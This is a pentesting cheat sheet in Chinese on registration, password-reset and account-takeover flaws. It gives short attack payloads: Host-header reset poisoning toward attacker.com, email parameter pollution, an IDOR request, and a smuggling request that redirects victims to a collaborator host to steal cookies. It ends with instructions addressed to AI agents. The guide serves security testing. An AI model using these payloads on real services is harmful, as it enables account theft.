# Registration & Takeover Vulnerabilities

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>

### [WhiteIntel](https://whiteintel.io)

<figure><img src="/files/YEhfJ0lgKxxdqFKA17yB" alt=""><figcaption></figcaption></figure>

[**WhiteIntel**](https://whiteintel.io) 是一个由**暗网**支持的搜索引擎，提供免费功能，用于检查公司或其客户是否受到**窃取恶意软件**的**侵害**。

WhiteIntel的主要目标是打击由信息窃取恶意软件导致的账户接管和勒索软件攻击。

您可以在以下网址检查他们的网站并尝试他们的引擎：

{% embed url="<https://whiteintel.io>" %}

***

## 注册接管

### 重复注册

* 尝试使用现有用户名生成
* 检查变化的电子邮件：
  * 大写
  * +1@
  * 在电子邮件中添加一些点
  * 电子邮件名称中的特殊字符（%00，%09，%20）
  * 在电子邮件后面放置黑色字符：`test@test.com a`
  * <victim@gmail.com>@attacker.com
  * <victim@attacker.com>@gmail.com

### 用户名枚举

检查是否可以确定应用程序中是否已经注册了用户名。

### 密码策略

创建用户时检查密码策略（检查是否可以使用弱密码）。\
在这种情况下，您可以尝试暴力破解凭据。

### SQL注入

[**查看此页面**](/pentesting-web/sql-injection.md#insert-statement)以了解如何尝试通过**SQL注入**在注册表单中进行账户接管或提取信息。

### Oauth接管

{% content-ref url="/pages/jhBAqe7AusIsQz7G3g87" %}
[OAuth to Account takeover](/pentesting-web/oauth-to-account-takeover.md)
{% endcontent-ref %}

### SAML漏洞

{% content-ref url="/pages/WMOPGyNoFVCaEE1kKsQL" %}
[SAML Attacks](/pentesting-web/saml-attacks.md)
{% endcontent-ref %}

### 更改电子邮件

注册后尝试更改电子邮件并检查此更改是否被正确验证或是否可以更改为任意电子邮件。

### 更多检查

* 检查是否可以使用**一次性电子邮件**
* **长** **密码**（>200）会导致**DoS**
* **检查账户创建的速率限制**
* 使用username@**burp\_collab**.net并分析**回调**

## **密码重置接管**

### 通过引用者泄漏密码重置令牌 <a href="#password-reset-token-leak-via-referrer" id="password-reset-token-leak-via-referrer"></a>

1. 请求将密码重置到您的电子邮件地址
2. 单击密码重置链接
3. 不更改密码
4. 单击任何第三方网站（例如：Facebook，Twitter）
5. 拦截Burp Suite代理中的请求
6. 检查引用者标头是否泄漏密码重置令牌。

### 密码重置操纵 <a href="#account-takeover-through-password-reset-poisoning" id="account-takeover-through-password-reset-poisoning"></a>

1. 在Burp Suite中拦截密码重置请求
2. 在Burp Suite中添加或编辑以下标头：`Host: attacker.com`，`X-Forwarded-Host: attacker.com`
3. 使用修改后的标头转发请求\
   `http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com`
4. 查找基于\_host header\_的密码重置URL，例如：`https://attacker.com/reset-password.php?token=TOKEN`

### 通过电子邮件参数进行密码重置 <a href="#password-reset-via-email-parameter" id="password-reset-via-email-parameter"></a>

```powershell
# parameter pollution
email=victim@mail.com&email=hacker@mail.com

# array of emails
{"email":["victim@mail.com","hacker@mail.com"]}

# carbon copy
email=victim@mail.com%0A%0Dcc:hacker@mail.com
email=victim@mail.com%0A%0Dbcc:hacker@mail.com

# separator
email=victim@mail.com,hacker@mail.com
email=victim@mail.com%20hacker@mail.com
email=victim@mail.com|hacker@mail.com
```

### API参数上的IDOR <a href="#idor-on-api-parameters" id="idor-on-api-parameters"></a>

1. 攻击者必须使用他们的帐户登录并转到**更改密码**功能。
2. 启动Burp Suite并拦截请求。
3. 将其发送到重复器选项卡并编辑参数：用户ID/电子邮件\
   `powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})`

### 弱密码重置令牌 <a href="#weak-password-reset-token" id="weak-password-reset-token"></a>

密码重置令牌应该是随机生成的，并且每次都是唯一的。\
尝试确定令牌是否过期或是否始终相同，在某些情况下，生成算法可能较弱且可被猜测。以下变量可能被算法使用。

* 时间戳
* 用户ID
* 用户电子邮件
* 名字和姓氏
* 出生日期
* 加密学
* 仅数字
* 小令牌序列（字符在\[A-Z,a-z,0-9]之间）
* 令牌重用
* 令牌过期日期

### 泄露密码重置令牌 <a href="#leaking-password-reset-token" id="leaking-password-reset-token"></a>

1. 使用API/UI触发特定电子邮件的密码重置请求，例如：<test@mail.com>
2. 检查服务器响应并查找`resetToken`
3. 然后在URL中使用令牌，如`https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]`

### 通过用户名冲突进行密码重置 <a href="#password-reset-via-username-collision" id="password-reset-via-username-collision"></a>

1. 使用与受害者用户名相同但在用户名之前和/或之后插入空格的用户名在系统上注册，例如：`"admin "`
2. 使用您恶意的用户名请求重置密码。
3. 使用发送到您电子邮件的令牌重置受害者密码。
4. 使用新密码连接到受害者帐户。

平台CTFd容易受到此攻击的影响。\
参见：[CVE-2020-7245](https://nvd.nist.gov/vuln/detail/CVE-2020-7245)

### 通过跨站脚本攻击实现账户接管 <a href="#account-takeover-via-cross-site-scripting" id="account-takeover-via-cross-site-scripting"></a>

1. 在应用程序内或子域中找到XSS漏洞，如果cookie的范围限定为父域：`*.domain.com`
2. 泄露当前的**会话cookie**
3. 使用cookie作为用户进行身份验证

### 通过HTTP请求走私实现账户接管 <a href="#account-takeover-via-http-request-smuggling" id="account-takeover-via-http-request-smuggling"></a>

1. 使用**smuggler**检测HTTP请求走私的类型（CL、TE、CL.TE）\
   `powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h`\\
2. 构造一个请求，将`POST / HTTP/1.1`覆盖为以下数据：\
   `GET http://something.burpcollaborator.net HTTP/1.1 X:`，目的是将受害者重定向到burpcollab并窃取其cookie\\
3. 最终请求可能如下所示

```
GET / HTTP/1.1
Transfer-Encoding: chunked
Host: something.com
User-Agent: Smuggler/v1.0
Content-Length: 83
0

GET http://something.burpcollaborator.net  HTTP/1.1
X: X
```

### Hackerone报告利用此漏洞\\

* <https://hackerone.com/reports/737140>\\
* <https://hackerone.com/reports/771666>

### 通过CSRF接管账户 <a href="#account-takeover-via-csrf" id="account-takeover-via-csrf"></a>

1. 为CSRF创建有效负载，例如：“自动提交密码更改的HTML表单”
2. 发送有效负载

### 通过JWT接管账户 <a href="#account-takeover-via-jwt" id="account-takeover-via-jwt"></a>

JSON Web Token可能用于验证用户身份。

* 编辑JWT以更改用户ID/电子邮件
* 检查弱JWT签名

{% content-ref url="/pages/8R6F5RdYQaB1x5ICSPXX" %}
[JWT Vulnerabilities (Json Web Tokens)](/pentesting-web/hacking-jwt-json-web-tokens.md)
{% endcontent-ref %}

## 参考资料

* <https://salmonsec.com/cheatsheet/account_takeover>

### [WhiteIntel](https://whiteintel.io)

<figure><img src="/files/YEhfJ0lgKxxdqFKA17yB" alt=""><figcaption></figcaption></figure>

[**WhiteIntel**](https://whiteintel.io)是一个由**暗网**推动的搜索引擎，提供**免费**功能，用于检查公司或其客户是否受到**窃取恶意软件**的影响。

WhiteIntel的主要目标是打击由信息窃取恶意软件导致的账户接管和勒索软件攻击。

您可以访问他们的网站并免费尝试他们的引擎：

{% embed url="<https://whiteintel.io>" %}

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS红队专家）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFT**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**上关注**我们。
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://hacktricks.xsx.tw/pentesting-web/registration-vulnerabilities.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
